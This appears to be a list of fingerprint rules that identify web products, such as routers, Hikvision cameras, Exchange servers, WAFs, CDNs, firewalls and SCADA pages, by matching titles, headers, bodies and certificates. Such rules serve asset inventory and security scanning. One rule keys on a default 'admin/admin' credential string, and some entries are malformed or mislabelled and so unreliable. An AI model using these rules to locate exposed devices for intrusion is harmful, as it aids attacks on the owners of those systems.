+SonicWALL-Company's-product Body="this request is blocked by the sonicwall"
+SonicWALL-Company's-product Header="server: sonicwall"
+SonicWALL-Company's-product Response="server: sonicwall"
+NetShare-VPN Title="vpn" && Title="netshare"
+Netease-Enterprise-Mailbox Body="content=\"网易企业邮箱"
+Netease-Enterprise-Mailbox Body="src=\"http://mimg.qiye.163.com/"
+Netease-Enterprise-Mailbox Body="
请您从网易企业邮箱用户登录页登录"
+Netease-Enterprise-Mailbox Title="邮箱用户登录" && Body="frmvalidator"
+Zhu-Ji-Bao Body="
"
+TurboMail Body="
powered by turbomail"
+TurboMail Title="turbomail邮件系统"
+TurboMail Body="wzcon1 clearfix"
+TurboMail Body="powered by turbomail"
+Parallels-Plesk-Panel Title="default parallels plesk page"
+Parallels-Plesk-Panel Body="
"
+Parallels-Plesk-Panel Header="plesk-panel"
+Parallels-Plesk-Panel Title="default parallels plesk panel page"
+Parallels-Plesk-Panel Body="parallels ip holdings gmbh"
+Telerik-Sitefinity Body="content=\"sitefinity"
+Telerik-Sitefinity Body="telerik.web.ui.webresource.axd"
+PageAdmin Body="/e/images/favicon.ico"
+PageAdmin Body="content=\"pageadmin cms\""
+Bootstrap Body="bootstrap.min.js"
+Bootstrap Body="bootstrap.js"
+Bootstrap Body="bootstrap.min.css"
+Bootstrap Body="bootstrap.css"
+Cloudflare Response="server: cloudflare"
+Cloudflare Header="server: cloudflare"
+Cloudflare Body="var cloudflare="
+Cloudflare Body="cloudflare ray id:"
+Cloudflare Header="__cfduid="
+Cloudflare Header="cloudflare-nginx"
+ZendServer Response!="router" && Response!="tp-link wr720n" && Response="zendserver"
+ZendServer Header!="tp-link wr720n" && Header="zendserver"
+78OA Body="src=\"/module/index.php"
+78OA Title="78oa"
+78OA Body="license.78oa.com"
+78OA Body="/resource/javascript/system/runtime.min.js"
+EasyTrace(botwave) Body="login_page" && Title="easytrace"
+bxemail Body="请输入正确的电子邮件地址,如:abc@bxemail.com"
+bxemail Title="百姓邮局"
+bxemail Title="百讯安全邮件系统"
+Baidu-jiasule Response="__jsluid"
+Baidu-jiasule Body="static.jiasule.com/static/js/http_error.js"
+Baidu-jiasule Header="http/1.1 403" && Body="notice-jiasule"
+Baidu-jiasule Header="__jsluid"
+Incapsula Response="x-cdn: incapsula"
+Incapsula Header="x-cdn: incapsula"
+Incapsula Body="incapsula incident id"
+Baidu-Subaidu Body="id=\"yunjiasu_link"
+Baidu-Subaidu Body="data-orig-ref=\"su.baidu.com"
+Baidu-Subaidu Header="server: yunjiasu"
+360-Webguard Response="wzws-ray: "
+360-Webguard Response="360wzws"
+360-Webguard Response="360wzb"
+360-Webguard Header="wzws-ray: "
+360-Webguard Header="server: 360wzws"
+360-Webguard Header="360wzb"
+Baidu-Anquanbao Response="x-powered-by-anquanbao"
+Baidu-Anquanbao Header="x-powered-by-anquanbao"
+Squid Response!="router" && Response="server: squid"
+Squid Header="server: squid"
+JBoss-AS Response="jbossas"
+JBoss-AS Header="jbossas"
+JBoss-AS Title="welcome to jboss as"
+JBoss-AS Body="manage this jboss as instance"
+Ruijie-NBR-Router Body="class=\"line resource\" id=\"nbr_1\""
+Ruijie-NBR-Router Body="
系统负荷过高,导致网络拥塞,建议降低系统负荷或重启路由器" && Body="support.ruijie.com.cn"
+Ruijie-NBR-Router Body="ruijie - nbr"
+Coremail Response="coremail mail"
+Coremail Body="fmt_logoalt: \"coremail 电子邮件系统"
+Coremail Body="action=\"/coremail/index.jsp"
+Coremail Title="coremail 电子邮局"
+Coremail Response="coremail" && Protocol="smtp"
+Coremail Title="coremail邮件系统"
+Coremail Body="/coremail/common/"
+HuaWei-Auth-Server Response="server:" && Response="huawei auth-http server"
+HuaWei-Auth-Server Header="server: huawei auth-http server"
+HuaWei-Auth-Server Header="auth-http server" && Body="75718c9a-f029-11d1-a1ac-00c04fb6c223"
+Jinher-OA Body="closewindownoask" && Body="c6/jhsoft.web.login"
+Jinher-OA Body="jinher network"
+Jinher-OA Body="js/passwordnew.js"
+Jinher-OA Body="js/passwordcommon.js"
+Jinher-OA Title="金和协同管理平台"
+VisualSVN Response="realm=\"visualsvn server"
+VisualSVN Header="realm=\"visualsvn server"
+VisualSVN Title="visualsvn server"
+VMware-vFabric Header="ts01efd1fa"
+VMware-vFabric Title="vfabric"
+ICEFLOW-VPN Title="iceflow vpn router"
+ICEFLOW-VPN Header="server: iceflow"
+360-Enterprise-security Body!="天擎" && (((Title="360企业版" || Body="/download/360inst.exe") || Title=="私有云控制中心") || Body="关于全网部署360私有云的通知") || Body="360entinst"
+Yonyou-ERP-NC Title="用友新世纪"
+Yonyou-ERP-NC Body="/nc/servlet/nc.ui.iufo.login.index"
+E-PLUGGER-SRM Body="科研管理系统,北京易普拉格科技"
+E-PLUGGER-SRM Body="lan12-jingbian-hong"
+Ipswitch-imailserver Response="server: ipswitch-imail"
+Ipswitch-imailserver Header="server: ipswitch-imail"
+Ipswitch-imailserver Body="myicalusername"
+Redmine Response="_redmine_session="
+Redmine Body="powered by "
+Hikvision-Cameras-and-Surveillance Body="var szlanguage = syslanguage.substring(0,2)" && Body="var syslanguage= navigator.browserlanguage.tolowercase()"
+Hikvision-Cameras-and-Surveillance Body!="css/login.css?version=\" + new date()" && Body="ng-bind=\"olan.anonymous\" ng-click=\"login('anonymous')\"" && Body="/ui/css/ui.css?version=\" + new date().gettime"
+Hikvision-Cameras-and-Surveillance Header="content-length: 480" && Body="window.location.href = \"/doc/page/login.asp?_\" + (new date()).gettime()"
+Hikvision-Cameras-and-Surveillance Response="hikvision company products"
+Hikvision-Cameras-and-Surveillance Response="server: streamsystem4.1" && Protocol="rtsp"
+Hikvision-Cameras-and-Surveillance Body="/hikgis/"
+Hikvision-Cameras-and-Surveillance Response="server: hikvision" && Protocol="rtsp"
+Hikvision-Cameras-and-Surveillance Cert="st=zj, l=hz, o=yunwei, ou=hik"
+Hikvision-Cameras-and-Surveillance Cert="o=hikvision, ou=dvrnvr" && Response="dvrdvs-webs"
+Hikvision-Cameras-and-Surveillance Cert="subject: o=product root ca, ou=ip camera" && Response="server: app-webs/"
+Hikvision-Cameras-and-Surveillance Response="192.0.0.64 login:"
+Hikvision-Cameras-and-Surveillance Body="classid=\"clsid:f030f48f-cd67-45d1-b622-a5d88a7bcfe9\" id=\"hcnetvideo"
+Hikvision-Cameras-and-Surveillance Body="classid=\"clsid:7b43048f-da7a-458f-af35-d825bdbb6816\" codebase=\"../codebase/netvideoocx.cab"
+Hikvision-Cameras-and-Surveillance Response="netdvrdvs" && Protocol="telnet"
+Hikvision-Cameras-and-Surveillance Response="dvrdvs login:"
+Hikvision-Cameras-and-Surveillance Header="content-length: 481" && Header="server: app-webs/"
+Hikvision-Cameras-and-Surveillance Protocol="telnet" && Response="hikvision login:"
+Hikvision-Cameras-and-Surveillance Cert="o=hikvision, ou=ipcamera"
+Hikvision-Cameras-and-Surveillance Body="//alert(\"the system language is not supported!\";"
+Hikvision-Cameras-and-Surveillance Title="netvideoocx" && Body="codebase=\"../codebase/netvideoocx.cab"
+Hikvision-Cameras-and-Surveillance Response="server: streamsystem4.0"
+Hikvision-Cameras-and-Surveillance Header="server: app-webs" && Body="window.location.href = \"/doc/page/login.asp?_"
+Hikvision-Cameras-and-Surveillance Body="codebase=\"../codebase/newhcnetactivex.cab"
+Hikvision-Cameras-and-Surveillance Body="hcnetvideoactivex.cab"
+Hikvision-Cameras-and-Surveillance Response="hik-b20"
+Hikvision-Cameras-and-Surveillance Response="server: dnvrs-webs"
+Hikvision-Cameras-and-Surveillance Header="server: dnvrs-webs"
+Hikvision-Cameras-and-Surveillance Header="server: dvrdvs-webs"
+Hikvision-Cameras-and-Surveillance Header="_goaheadwebsessionid"
+Hikvision-Cameras-and-Surveillance Header!="server: nvr webserver" && Body="screen.availwidth,screen.availheight" && Body="doc/page/login.asp"
+Hikvision-Cameras-and-Surveillance Header!="server: nvr webserver" && Body="doc/page/login.asp" && Body="updatetips"
+Hikvision-Cameras-and-Surveillance Response="realm=\"hikvision"
+Hikvision-Cameras-and-Surveillance Header="realm=\"hikvision"
+WDCP-Management-System Title="lanmp_wdcp 安装成功"
+WDCP-Management-System Title="wdcp服务器"
+ZTE-Router Response="server: zte/rosng"
+ZTE-Router Header="server: zte/rosng"
+ZTE-Router Response!="switch" && Response="zxr10"
+ZTE-Router Response="router of zte corporation"
+JCG-Wireless-Route Body="http://www.jcgcn.com" && Title="wireless router"
+WAMP Body="wamp
"
+WAMP Body="title && h1 heading"
+WAMP Title="wampserver homepage"
+WAMP Body="wampserver" && Body="phpsysinfo"
+Safedog Response="safedog-flow-item="
+Safedog Response="set-cookie: safedog"
+Safedog Response="safedog"
+Safedog Header="safedog-flow-item="
+Safedog Header="set-cookie: safedog"
+Safedog Header="server: safedog"
+Safedog Header="waf/2.0"
+Websecurity-WAF Response="websecurity: waf 1.0"
+Websecurity-WAF Header="websecurity: waf 1.0"
+IIS Response="server" && Response="microsoft-iis"
+IIS Header="x-powered-by: waf/2.0"
+IIS Header="microsoft-iis"
+Nginx Response="server: nginx"
+Nginx Header="server: nginx"
+Apache-Tomcat Response="apache-coyote"
+Apache-Tomcat Body="apache tomcat"
+Apache-Tomcat (Title="error report" || Body="this is the default tomcat home page") || Body="tomcat.apache.org" && Title="apache tomcat/"
+Apache-Tomcat Body="href=\"tomcat.css"
+Apache-Tomcat Header="apache-coyote"
+Apache-Web-Server Response!="covalentsnmp" && Response!="apache-coyote" && Response="server: apache"
+Apache-Web-Server Response="server: httpd"
+Apache-Web-Server Header="server: httpd"
+Apache-Web-Server Header!="server: covalentsnmp" && Header!="apache-coyote" && Header="server: apache"
+Tengine Response="server: tengine"
+Tengine Header="server: tengine"
+IBM-HTTP-Server Response="server: ibm http server"
+IBM-HTTP-Server Header="server: ibm http server"
+IBM-HTTP-Server Title="ibm administration server"
+IBM-HTTP-Server Header="ibm_http_server"
+GSE Response="server: gse"
+GSE Header="server: {\"length\": 0, \"chained_to\": 1919250030, \"identifier\": \" Device\", \"str\": null}"
+LiteSpeed Response="server: litespeed"
+LiteSpeed Header="server: litespeed"
+Microsoft-HTTPAPI Response="microsoft-httpapi"
+Microsoft-HTTPAPI Header="microsoft-httpapi"
+OpenResty Response="server: openresty"
+OpenResty Body="openresty/"
+OpenResty Header="server: openresty"
+OpenResty Header="ngx_openresty"
+ZEUS-webserver Response="server: zeus"
+ZEUS-webserver Header="server: zeus"
+Resin Response="server: resin"
+Resin Header="server: resin"
+Netscape-Enterprise Response="server: netscape-enterprise"
+Netscape-Enterprise Header="netscape-enterprise"
+WEBrick Response="server: webrick"
+WEBrick Header="webrick"
+Jetty Response="jetty"
+Jetty Header="server: jetty"
+Oracle-Application-Server Body="mod_ose documentation" && Body="oracle jsp documentation" && Body="mod_ssl web site"
+Oracle-Application-Server Response="server: oracle_web_listener"
+Oracle-Application-Server Header="server: oracle_web_listener"
+Oracle-Application-Server Title="oracle http server"
+Oracle-Application-Server Body="oracle http server"
+Oracle-Application-Server Response="server: oracle http server"
+Oracle-Application-Server Header="server: oracle http server"
+Oracle-Application-Server Header="server: oracle containers for j2ee"
+Oracle-Application-Server Response="server: oracle application server"
+Oracle-Application-Server Header="server: oracle application server"
+Oracle-Application-Server Header="oracle-application-server"
+Jboss Response!="server: jboss-eap" && Response="server: jboss"
+Jboss Header!="jboss-eap" && (Title!="welcome to jboss as" && Title="welcome to jboss") || Header="server: jboss"
+Bluetrum-CDN Response="powered-by-chinacache"
+Bluetrum-CDN Header="powered-by-chinacache"
+Wangsu Response="server: " && Response="ws-web-server"
+Wangsu Header="server: ws-web-server"
+Wangsu Response="server: ws cdn server"
+Wangsu Header="ws cdn server"
+Wangsu Header="cdn cache server"
+Dnion-CDN Response="server: dnionos"
+Dnion-CDN Header="server: dnionos"
+Dnion-CDN Response="server: dnion"
+Dnion-CDN Header="fastcdn.com"
+Dnion-CDN Header="server: dnion"
+Fastweb Response="server: fastweb"
+Fastweb Header="server: fastweb"
+Fastweb Header="fw-via: "
+Webluker Response="webluker-edge"
+Webluker Header="webluker-edge"
+Western-Digital Response="wt263cdn"
+Western-Digital Header="wt263cdn"
+Zentao-System (Body!="server: cpws" && Body!="server: netvox z206-webs") && Header!="server: 360 web server" && ((((Body="href='/zentao/favicon.ico" || Body="welcome to use zentao!") || Body="powered by zentaopms") || Body="$('#zentaopro').addclass") || Body="outlook
"
+Microsoft-Exchange Body="owalogocontainer" && Body=".mouse .owalogocontainer, .twide .owalogocontainer"
+Microsoft-Exchange Header="outlooksession"
+Microsoft-Exchange Title=="microsoft outlook web access"
+Microsoft-Exchange Body="aria-label=\"outlook web app"
+Microsoft-Exchange Body="themes/resources/segoeui-semibold.ttf"
+Microsoft-Exchange Response="location" && Response="owa"
+Microsoft-Exchange Response="microsoft exchange"
+Microsoft-Exchange Body=""
+Microsoft-Exchange Body="window.location.replace(\"/owa/\" + window.location.hash);"
+Microsoft-Exchange Body="href=\"/owa/auth/"
+Microsoft-Exchange Body="/exchweb/bin/auth/owalogon.asp?url="
+Microsoft-Exchange Header="x-owa-version"
+Microsoft-Exchange Body="/exchweb/bin/auth/owalogon.asp"
+Microsoft-Exchange Body=""
+Leadsec-Employee-Internet-Management Title="leadsec acm"
+Entrance-Guard-system Title="考勤管理系统" && Header="sessionidadms" || Body="/media/images/zkeco16.ico"
+FFCS-Security-Operation-Management-System Body="align=\"center\">福富软件"
+Ruijie-RG-DBS Body="/dbaudit/authenticate"
+Ruijie-RG-DBS Body="/css/impl-security.css"
+Sangfor-Firewall-Products Body="name=\"robots\" content=\"nofollow\"" && Body="return decodeuricomponent(arr.join(''))"
+Sangfor-Firewall-Products Body!="登录防火墙web防篡改管理系统
" && Body="this.sf = {};" && Body="version = _(\"异步获取提交成功,但是获取版本信息失败\";"
+Sangfor-Firewall-Products Body="sf.cookie('sangfor_session_id"
+Sangfor-Firewall-Products Body="if (!this.sf)"
+Sangfor-Firewall-Products Title="sangfor | af "
+Sangfor-Firewall-Products Title="sangfor | ngaf "
+Sangfor-Firewall-Products Body="sangfor fw"
+Topsec--TopAudit- Title="天融信网络审计系统"
+Topsec--TopAudit- Body="onclick=\"dlg_download()"
+Topsec-TopScanner Body="/js/report/horizontalreportpanel.js"
+Topsec-TopScanner Title="天融信脆弱性扫描与管理系统"
+Topsec-TTopWAF Body="this.src='/style/images/rand.php?update=1'"
+Topsec-TTopWAF Title="天融信web应用安全网关"
+UrlRewriter.NET Response="urlrewriter.net"
+UrlRewriter.NET Header="urlrewriter.net"
+Apache-Forrest Body="name=\"forrest"
+Apache-Forrest Body="content=\"apache forrest"
+Akiva-WebBoard Response="webboard="
+Akiva-WebBoard Header="webboard="
+Akiva-WebBoard Body="powered by webboard"
+Seminole Response="server: seminole"
+Seminole Header="server: seminole"
+mini_httpd Response="server: mini_httpd"
+mini_httpd Header="server: acme mini_httpd"
+mini_httpd Header="mini_httpd"
+AirOS Response="cookiechecker?uri="
+AirOS Response="airos_sessionid"
+AirOS Header="cookiechecker?uri="
+AirOS Header="airos_sessionid"
+AIDeX Body="http://www.aidex.de/" && Body="powered by"
+AIDeX Header="aidex"
+AfterLogic-WebMail Response="phpwebmailsessid"
+AfterLogic-WebMail Header="phpwebmailsessid"
+AfterLogic-WebMail Title="afterlogic webmail pro"
+MacOS Response="darwin kernel version" && Protocol="snmp"
+MacOS Response="macintosh os x"
+MacOS Header="server: {\"length\": 0, \"chained_to\": 1919250030, \"identifier\": \"egory\", \"str\": null}"
+MacOS Response="macos"
+Suhosin Response="suhosin"
+Suhosin Header="suhosin"
+Unix Response!="linux" && Response="unix"
+Advanced-Electron-Forum Response="aefsid"
+Advanced-Electron-Forum Body="content=\"aef"
+Advanced-Electron-Forum Header="aefsid"
+Advanced-Electron-Forum Body="powered by aef"
+ASP.NET-MVC Body="asp.net mvc application"
+ASP.NET-MVC Body="modify this template to jump-start your asp.net mvc application.
"
+ASP.NET-MVC Title="my asp.net mvc application"
+ASP.NET-MVC Title="asp.net mvc 应用程序"
+ASP.NET-MVC Response="aspnetmvc"
+ASP.NET-MVC Header="aspnetmvc"
+Advantech-WebAccess Title="advantech webaccess 首頁"
+Advantech-WebAccess Body="/broadweb/bwuconfig.asp"
+Advantech-WebAccess Body="/broadweb/webaccessclientsetup.exe"
+Advantech-WebAccess Body="/bw_templete1.dwt"
+ADTRAN-Device Response="netvanta "
+ADTRAN-Device Header="netvanta "
+ADTRAN-Device Header="adtran"
+Trend-AdSubtract-proxy Response="server: adsubtract"
+Trend-AdSubtract-proxy Header="adsubtract "
+Adobe-Connect Response="breezesession="
+Adobe-Connect Header="breezesession="
+Adobe-Connect Body="/common/scripts/showcontent.js"
+Adcon-Telemetry-Gateway Body="welcome to the a840 telemetry gateway!"
+Adcon-Telemetry-Gateway Title="a850 telemetry gateway" && Body="adcon telemetry"
+Adcon-Telemetry-Gateway Response="a850 telemetry gateway"
+Adcon-Telemetry-Gateway Body="adcon telemetry gmbh;"
+Adcon-Telemetry-Gateway Header="addupi"
+ACTi-Cameras-and-Surveillance Body="url=/cgi-bin/videoconfiguration.cgi"
+ACTi-Cameras-and-Surveillance Title="web configurator" && Header="server: httpd v1.0 05may2008"
+ACTi-Cameras-and-Surveillance Body="acti corporation all rights reserved" && Title="web configurator"
+activeWeb-Content-Server Body="activeweb cache extension"
+activeWeb-Content-Server Response="x-awcache"
+activeWeb-Content-Server Header="x-awcache"
+activeWeb-Content-Server Body="awnocachebegin__awnocachebegin__awnocachebegin__awnocachebegin__awnocachebegin"
+ActiveHTML Response="activehtml"
+ActiveHTML Header="activehtml"
+activeCollab Body=""
+Scientific-Linux Response="scientific linux"
+AChecker-Web-accessibility-evaluation-tool Title="checker : web accessibility checker"
+AChecker-Web-accessibility-evaluation-tool Body="content=\"achecker is a web accessibility"
+SCADA-PLC Body="ethernet processor"
+SCADA-PLC Body="/ralogo.gif"
+SCADA-PLC Body="/images/rockcolor.gif"
+Alcatel_Lucent-Omniswitch Response="agranat-emweb" && Response="/web/content/login.html"
+Alcatel_Lucent-Omniswitch Header="agranat-emweb" && Header="/web/content/login.html"
+Alcatel_Lucent-Omniswitch Body="document.write(errmsg==\"\"?\" \""
+Alcatel_Lucent-Omniswitch Title="webview logon page"
+Accellion-Secure-File-Transfer Body="secured by accellion"
+Accellion-Secure-File-Transfer Response="sfcurl=deleted;"
+Accellion-Secure-File-Transfer Header="sfcurl=deleted;"
+RealTime-Web-ACARS Body="content=\"realtime web acars"
+RealTime-Web-ACARS Body="content=\"kjm "
+RealTime-Web-ACARS Header="acarsd"
+Abyss Response="server: abyss"
+Abyss Header="server: abyss"
+ABO.CMS Response="abo.cms"
+ABO.CMS Header="abo.cms"
+Aardvark-Topsites Body="aardvark topsites" && Body="powered by"
+4D Header="server: 4d"
+3dcart Header="x-powered-by: 3dcart"
+3dcart Body=""
+3dcart Header="3dvisit"
+3dcart Body="powered by 3dcart"
+Cisco-VEN401 Response="cisco ven401"
+Cisco-VEN401 Header="cisco ven401"
+Dreambox Response="welcome to dreambox"
+Dreambox Header="dreambox"
+SITECOM-ADSL-Model Response="basic realm=\"sitecom"
+SITECOM-ADSL-Model Header="basic realm=\"sitecom"
+Samsung-DVR Header="samsung dvr"
+Samsung-DVR Title="samsung dvr"
+.NET Body="content=\"visual basic .net 7.1"
+Vicworl Body="vindex_right_d"
+Vicworl Body="content=\"vicworl"
+Vicworl Body="powered by vicworl"
+Miranda-ftp Response="miranda ftp server"
+Avaya-Tenor-FTP Response="tenor multipath switch ftp"
+Parker-FTP Response="parker ftp server"
+Wise-Education-Cloud-Masters Response="schoolcopyright"
+Wise-Education-Cloud-Masters Header="schoolcopyright"
+Wise-Education-Cloud-Masters Body="ctl00_contentplaceholder1_dlttopvideos"
+kingosoft Body="青果" && Body="kingosoft"
+kingosoft Body="/jkingo.js"
+kingosoft Body="setkingoencypt.jsp"
+kingosoft Title="kingosoft"
+SpFTP Response="spftp"
+NcFTPd Response="ncftpd"
+SurgeFTP Response="surgeftp"
+DreamHost-FTP Response="dreamhost ftp" && Protocol="ftp"
+ZTE-FTP Response="zte ftp" && Protocol="ftp"
+Serv-U-FTP Body="alt=\"serv-u ftp server"
+Serv-U-FTP Response="serv-u ftp" && Protocol="ftp"
+FileZilla-Server Response="filezilla server" && Protocol="ftp"
+ProFTPD Response="realm=\"proftpd"
+ProFTPD Header="realm=\"proftpd"
+ProFTPD Response="proftpd" && Protocol="ftp"
+blah-FTP Response="blah ftp" && Protocol="ftp"
+Wind-River-FTP Response="ftp server" && Response="vxworks"
+Wind-River-FTP Response="wind river ftp" && Protocol="ftp"
+BFTP Response="bftpd" && Protocol="ftp"
+vsftpd Response="vsftpd" && Protocol="ftp"
+Microsoft-FTP Response="microsoft ftp" && Protocol="ftp"
+Pure-FTP Response="pure-ftpd" && Protocol="ftp"
+ThinkOX Title="thinkox"
+ThinkOX Body="powered by thinkox"
+TQ-Cloud-call-center Title="tq云呼叫中心"
+TQ-Cloud-call-center Body="tq.cn/floatcard?"
+Mailgard-WebMail Title="mailgard webmail"
+Mailgard-WebMail Body="window.open('http://www.hechen.com')"
+The-enterprise-QQ Body="href=\"http://wpa.qq.com/"
+The-enterprise-QQ Body="http://wpa.b.qq.com/cgi/wpa.php"
+Shop_Builder-MallBuilder Body="powered by mallbuilder"
+Shop_Builder-MallBuilder Body="content=\"mallbuilder"
+rosewill-router Response="rnx-n300rt"
+rosewill-router Header="default: admin/admin"
+rosewill-router Header="rnx-n300rt"
+Fast-FW300-Router Response="fw300r"
+Fast-FW300-Router Header="fw300r"
+Mercury-Router Response="mac1200r"
+Mercury-Router Response="mw4530r"
+Mercury-Router Title="mercury 无线路由器"
+Mercury-Router Header="mac1200r"
+Mercury-Router Header="mw4530r"
+H3C-ER2100n Response="h3c er2100n"
+H3C-ER2100n Title="er2100n系统管理"
+H3C-ER3108GW Response="h3c er3108gw"
+H3C-ER3108GW Title="er3108gw系统管理"
+H3C-ER6300 Response="er6300"
+H3C-ER6300 Header="h3c er6300"
+H3C-ER6300 Title="er6300系统管理"
+H3C-ICG1000 Title="icg 1000系统管理"
+H3C-ICG1000 Response="h3c icg 1000"
+H3C-ICG1000 Header="h3c icg 1000"
+H3C-ICG1000 Title="icg1000系统管理"
+H3C-ER3260G2 Response="er3260g2"
+H3C-ER3260G2 Title="er3260g2系统管理"
+H3C-ER3108G Response="h3c er3108g"
+H3C-ER3108G Title="er3108g系统管理"
+H3C-ER2100 Response="h3c er2100"
+H3C-ER2100 Title="er2100系统管理"
+H3C-ER3200 Response="h3c er3200"
+H3C-ER3200 Header="h3c er3200"
+H3C-ER3200 Title="er3200系统管理"
+H3C-ER8300 Response="h3c er8300"
+H3C-ER8300 Header="h3c er8300"
+H3C-ER8300 Title="er8300系统管理"
+H3C-ER2100V2 Response="h3c er2100v2"
+H3C-ER2100V2 Title="er2100v2系统管理"
+H3C-ER3260 Response="h3c er3260"
+H3C-ER3260 Header="h3c er3260"
+H3C-ER3260 Title="er3260系统管理"
+H3C-ER3100 Response="h3c er3100"
+H3C-ER3100 Header="h3c er3100"
+H3C-ER3100 Title="er3100系统管理"
+H3C-ER5100 Response="h3c er5100"
+H3C-ER5100 Header="h3c er5100"
+H3C-ER5100 Title="er5100系统管理"
+H3C-ER5200 Response="h3c er5200"
+H3C-ER5200 Header="h3c er5200"
+H3C-ER5200 Title=="er5200系统管理"
+H3C-Company's-product Response="new h3c technologies co., ltd. "
+H3C-Company's-product Response="hangzhou h3c "
+H3C-Company's-product Response="h3c login:"
+H3C-Company's-product Header="server: {\"length\": 0, \"chained_to\": 1919250030, \"identifier\": \"0\", \"str\": null}"
+H3C-Company's-product Response="hangzhou h3c"
+H3C-Company's-product Header="h3c tech"
+H3C-Company's-product Body="icg_helpscript.js"
+H3C-Company's-product Body="h3c corporation" && Body="copyright"
+H3C-Company's-product Body="service@h3c.com"
+Linksys-VPN Header="linksys-vpn"
+Linksys-VPN Header="linksys vpn"
+Linksys-gateway Response="realm=\"linksys gateway"
+Linksys-gateway Header="realm=\"linksys gateway"
+NETGEAR-XWN5001 Response="netgear xwn5001"
+NETGEAR-XWN5001 Title="netgear plc ap xwn5001"
+NETGEAR-XWN5001 Header="netgear xwn5001"
+NETGEAR-WNR612v3 Response="netgear wnr612v3"
+NETGEAR-WNR612v3 Header="netgear wnr612v3"
+NETGEAR-WNR2020 Response="netgear wnr2020"
+NETGEAR-WNR2020 Title="netgear wireless router wnr2020"
+NETGEAR-WNR2020 Body="var model=\"wnr2020\""
+NETGEAR-WNR2020 Header="netgear wnr2020"
+NETGEAR-WNR2000v5 Body="class=\"router_name_div\">wnr2000v5"
+NETGEAR-WNR2000v5 Title="netgear router wnr2000v5"
+NETGEAR-WNR2000v5 Response="netgear wnr2000v5"
+NETGEAR-WNR2000v5 Header="netgear wnr2000v5"
+NETGEAR-WNR2000 Response="netgear wnr2000"
+NETGEAR-WNR2000 Header="netgear wnr2000"
+NETGEAR-WNDR3400v2 Title="netgear router wndr3400v2"
+NETGEAR-WNDR3400v2 Response="netgear wndr3400v2"
+NETGEAR-WNDR3400v2 Header="netgear wndr3400v2"
+NETGEAR-WNDR3400 Response="netgear wndr3400"
+NETGEAR-WNDR3400 Title="netgear router wndr3400"
+NETGEAR-WNDR3400 Header="netgear wndr3400"
+NETGEAR-WNDR3300 Response="netgear wndr3300"
+NETGEAR-WNDR3300 Response="wndr3300 login"
+NETGEAR-WNDR3300 Header="netgear wndr3300"
+NETGEAR-JWNR2010v5 Title="netgear wireless router jwnr2010v5"
+NETGEAR-JWNR2010v5 Title="netgear router jwnr2010v5"
+NETGEAR-JWNR2010v5 Response="jwnr2010v5"
+NETGEAR-JWNR2010v5 Header="netgear jwnr2010v5"
+NETGEAR-JWNR2000v5 Body="var model=\"jwnr2000v5\""
+NETGEAR-JWNR2000v5 Response="netgear jwnr2000v5"
+NETGEAR-JWNR2000v5 Header="netgear jwnr2000v5"
+NETGEAR-JNR1010 Response="netgear jnr1010"
+NETGEAR-JNR1010 Response="netgear jnr1010"
+NETGEAR-JNR1010 Header="netgear jnr1010"
+NETGEAR-JNR1010 Header="netgear jnr1010"
+NETGEAR-DGND3700 Body="content=\"dgnd3700"
+NETGEAR-DGND3700 Body="var host_name=\"dgnd3700\""
+NETGEAR-DGND3700 Response="netgear dgnd3700"
+NETGEAR-DGND3700 Header="netgear dgnd3700"
+NETGEAR-DGN2200 Response="netgear dgn2200"
+NETGEAR-DGN2200 Title="netgear router dgn2200"
+NETGEAR-DGN2200 Header="netgear dgn2200"
+NETGEAR-DGN2000 Header="netgear dgn2000 "
+NETGEAR-DGN2000 Response="netgear dgn2000"
+PG-API-Server Response="pgapiserv"
+PG-API-Server Response="pg api server"
+PG-API-Server Header="pgapiserv"
+PG-API-Server Header="pg api server"
+Tomcat-Manager-Application Response="tomcat manager application"
+Tomcat-Manager-Application Header="tomcat manager application"
+Icinga Response="icinga"
+Icinga Header="icinga"
+DLink-Router Title="d-link" && Body="src=\"/image/mobile_dlinklogo_login.png\""
+DLink-Router Body="login_title:'d-link router management system'"
+DLink-Router Response="dlink-router login:"
+DLink-Router Title!="netsurveillance web" && ((Header="dlink router" || (Body="dsl-" && Body="d-link systems")) || Header="webuicookie=") || Header="dlinkrouter"
+MaxCDN Response="server: netdna"
+MaxCDN Header="netdna"
+NETGEAR-R6220 Title="netgear router r6220 "
+NETGEAR-R6220 Response="netgear r6220"
+NETGEAR-R6220 Header="netgear r6220"
+NETGEAR-R6400 Response="netgear r6400"
+NETGEAR-R6400 Cert="organization: netgear" && Body="content=\"r6400\""
+NETGEAR-R6400 Body="netgear r6400" && Body="var mmc = {"
+NETGEAR-R6400 Header="netgear r6400"
+NETGEAR-R8000 Response="netgear-r8000"
+NETGEAR-R8000 Response="netgear r8000"
+NETGEAR-R8000 Header="netgear r8000"
+NETGEAR-WNDR3400v3 Title="netgear router wndr3400v3"
+NETGEAR-WNDR3400v3 Response="netgear wndr3400v3"
+NETGEAR-WNDR3400v3 Body="netgear wndr3400v3 " && Body="var mmc = {"
+NETGEAR-WNDR3400v3 Header="netgear wndr3400v3"
+Netgear-Company's-product Response="basic realm=\"netgear"
+Netgear-Company's-product Header="netgear"
+Netgear-Company's-product Title="netgear router"
+GoAhead Header!="goahead-webs" && Header="goahead"
+Netcore-Company's-product Response="vendor: netcore"
+Netcore-Company's-product Header="netcore"
+HuaWei-HG630 Title="hg630 v2 home gateway"
+HuaWei-HG630 Title="huawei hg630"
+HuaWei-MCU Title="huawei mcu"
+HuaWei-MCU Body="mcutype.js"
+HuaWei-MCU Body="mcur5-min.js"
+HuaWei-Inner-Web Body="hidden_frame.html"
+HuaWei-Inner-Web Title="huawei inner web"
+HuaWei-NetOpen Title="huawei netopen system"
+HuaWei-NetOpen Body="/netopen/theme/css/inframe.css"
+Campus-card-management-system Body="/shouyeziti.css"
+Campus-card-management-system Body="document.formpostds.action=\"xxsearch.action"
+Campus-card-management-system Body="harbin synjones electronic"
+AVCON6 Body="language_dispose.action"
+AVCON6 Title="avcon6系统管理平台"
+AVCON6 Body="filename=avcon6setup.exe"
+YABB Body="/yabb.js"
+YABB Body="yabbtime.gettime()"
+YABB Header="y2user"
+SOUTHIDC Body="/southidcj2f.js"
+SOUTHIDC Body="content=\"copyright 2003-2015 - southidc.net"
+SOUTHIDC Body="/southidckefu.js"
+itenable Body="/images/enableq.ico"
+itenable Title="enableq在线问卷调查引擎"
+itenable Body="js/checkquestion.js.php"
+itenable Body="/enableq.css"
+USP-Secure-Entry-Server Response="secure entry server"
+USP-Secure-Entry-Server Header="secure entry server"
+Fortinet-WAF Response="fortiwafsid="
+Fortinet-WAF Header="fortiwafsid="
+BlockDos Header="server: blockdos"
